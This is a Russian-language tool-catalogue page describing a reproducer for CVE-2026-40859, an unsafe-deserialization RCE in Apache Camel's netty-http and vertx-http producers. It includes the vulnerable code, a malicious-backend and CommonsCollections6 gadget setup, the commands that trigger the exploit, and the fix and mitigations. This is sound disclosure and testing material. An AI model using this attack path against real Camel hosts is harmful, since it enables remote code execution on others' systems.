Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40859 — Воспроизведение CVE-2026-40859 — небезопасная десериализация тел HTTP-ответов на стороне производителя в Apache Camel camel-netty-http / camel-vertx-http (RCE) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-40859
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHuboscerd/cve-2026-40859

CVE-2026-40859

Воспроизведение CVE-2026-40859 — небезопасная десериализация тел HTTP-ответов на стороне производителя в Apache Camel camel-netty-http / camel-vertx-http (RCE)

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-netty-http / camel-vertx-http HTTP-Response Unsafe Deserialization Reproducer (CVE-2026-40859)

Этот проект демонстрирует уязвимость десериализации Java в компонентах camel-netty-http и camel-vertx-http Apache Camel, отслеживаемую как CVE-2026-40859. Когда конечная точка продюсера настроена с transferException=true (или на уровне компонента allowJavaSerializedObject=true), HTTP-ответ от бэкенда с статусом ошибки и Content-Type: application/x-java-serialized-object десериализуется с помощью чистого java.io.ObjectInputStream без ObjectInputFilter. Злоумышленник, контролирующий бэкенд, с которым взаимодействует Camel продюсер — скомпрометированный сервис или атакующий «человек посередине» на незащищённом HTTP-соединении — может вернуть специально сформированный сериализованный объект и, если на пути классов присутствует цепочка гаджетов, добиться на хосте Camel.

удалённого выполнения кода

Консультация: https://camel.apache.org/security/CVE-2026-40859.html

Краткое описание уязвимости

СвойствоЗначение
Компонентыcamel-netty-http, camel-vertx-http (сторона продюсера)
Затрагиваемый классorg.apache.camel.component.netty.http.NettyHttpHelper#deserializeJavaObjectFromStream (и VertxHttpHelper#deserializeJavaObjectFromStream)
CWECWE-502: Десериализация недоверенных данных
ВлияниеУдалённое выполнение кода (RCE)
Предварительное условиеtransferException=true (или allowJavaSerializedObject=true) + throwExceptionOnFailure=true (по умолчанию) + контролируемый злоумышленником бэкенд
Затрагиваемые версииНачиная с 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.20.0
Исправленные версии4.14.8, 4.18.3, 4.20.0
JIRACAMEL-23324
ДокладчикVenkatraman Kumar (Securin)

Не эксплуатируется в конфигурации по умолчанию — transferException по умолчанию равен false. PoC её включает, как приложение, которому требуется распространение удалённых исключений.

Технические подробности

При ответе, не являющемся 2xx, продюсер netty-http (с throwExceptionOnFailure=true, по умолчанию) формирует исключение из ответа через populateNettyHttpOperationFailedException. Если transferException включён и ответ содержит тип контента сериализованного объекта, он десериализует тело:

root@kitploit:~
// NettyHttpHelper.populateNettyHttpOperationFailedException(...) - уязвимая версия
if (transferException) {
    String contentType = response.headers().get(NettyHttpConstants.CONTENT_TYPE);
    if (NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT.equals(contentType)) {   // application/x-java-serialized-object
        InputStream is = exchange.getContext().getTypeConverter().convertTo(InputStream.class, response);
        if (is != null) {
            Object body = deserializeJavaObjectFromStream(is);   // <-- сток
            if (body instanceof Exception) {
                return (Exception) body;
            }
        }
    }
}

// NettyHttpHelper.deserializeJavaObjectFromStream(InputStream) - уязвимая версия
ObjectInputStream ois = new ObjectInputStream(is);   // НЕТ ObjectInputFilter
answer = ois.readObject();                            // гаджет срабатывает здесь

Гаджет выполняется внутри readObject(), до проверки instanceof Exception — то есть полезная нагрузка не обязательно должна быть исключением. camel-vertx-http имеет идентичный сток в VertxHttpHelper.deserializeJavaObjectFromStream.

Маршрут жертвы

root@kitploit:~
from("direct:call")
    .to("netty-http://backend-host:PORT/path?transferException=true");
    // throwExceptionOnFailure по умолчанию true

Любой вызов продюсера, у которого бэкенд отвечает 5xx + application/x-java-serialized-object, запускает сток.

Структура репозитория — злоумышленник против жертвы

Жертва — это продюсер Camel (он выполняет десериализацию). Злоумышленник контролирует бэкенд, к которому он обращается. В этом самодостаточном PoC обе роли выполняются в одной JVM/контейнере: встроенный HTTP-сервер с необработанными сокетами (MaliciousBackend) играет роль контролируемого злоумышленником бэкенда, а маршрут Camel (VictimRoute) является жертвой.

root@kitploit:~
CVE-2026-40859/
├── pom.xml                 # camel-netty-http 4.18.2 + commons-collections 3.2.1 (гаджет)
├── Dockerfile              # запускает приложение (с --add-opens, необходимо только для сборки гаджета)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # жертва: продюсер netty-http, transferException=true
    │   ├── MaliciousBackend.java   # бэкенд злоумышленника: 500 + тело сериализованного объекта на :9999
    │   ├── Gadget.java             # Гаджет CommonsCollections6, срабатывает во время readObject()
    │   └── ExploitController.java  # /exploit/attack запускает вызов продюсера
    └── resources/
        └── application.properties

В реальной атаке сериализованные байты создаются злоумышленником офлайн (например, с помощью ysoserial); только жертве нужна цепочка гаджетов на пути классов. Этот PoC строит гаджет в процессе для удобства, поэтому JVM запускается с --add-opens java.base/java.util=ALL-UNNAMED — этот флаг относится к конструкции гаджета, не связан с уязвимостью.

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker (запускает воспроизводитель)

Шаги для воспроизведения

Шаг 1: Сборка и запуск контейнера

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Шаг 2: Запуск десериализации (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> producer threw ...NettyHttpOperationFailedException  (ожидаемо)
#
#    >>> Доказательство RCE — /tmp/pwned существует: true

Шаг 3: Проверка

root@kitploit:~
docker exec cve-2026-40859 ls -la /tmp/pwned

Очистка

root@kitploit:~
docker compose down

Векторы атаки

Любой продюсер camel-netty-http / camel-vertx-http, настроенный с transferException=true (или allowJavaSerializedObject=true), который общается с бэкендом, контролируемым или перехватываемым злоумышленником:

  • «Человек посередине» на незашифрованном (http://) соединении продюсера подменяет ответ.
  • Скомпрометированный или вредоносный бэкенд напрямую возвращает поддельный ответ.

Условия эксплуатации

  1. Продюсер с transferException=true (или компонент allowJavaSerializedObject=true).
  2. throwExceptionOnFailure=true (по умолчанию).
  3. Контролируемый/перехватываемый злоумышленником бэкенд, возвращающий 5xx + application/x-java-serialized-object.
  4. Библиотека гаджетов на пути классов (здесь commons-collections:3.2.1).

Рекомендуемое исправление

Обновление до 4.14.8 / 4.18.3 / 4.20.0. Исправление ограничивает оба хелпера стандартным белым списком ObjectInputFilter (java.**;javax.**;org.apache.camel.**;!*), настраиваемым через новую опцию конечной точки deserializationFilter или JVM-wide параметр -Djdk.serialFilter.

Смягчение

До обновления:

  1. Не включайте transferException=true / allowJavaSerializedObject=true на продюсерах, общающихся с недоверенными или сетевыми бэкендами.
  2. Используйте TLS (https) для соединений продюсера, чтобы ответы нельзя было подменить при передаче.
  3. Если опция необходима, установите явный белый список: -Djdk.serialFilter=java.**;org.apache.camel.**;!*.
  4. Удалите библиотеки гаджетов из пути классов (обновите/удалите commons-collections 3.x и подобные).

Отказ от ответственности

Этот воспроизводитель предоставлен для исследований безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент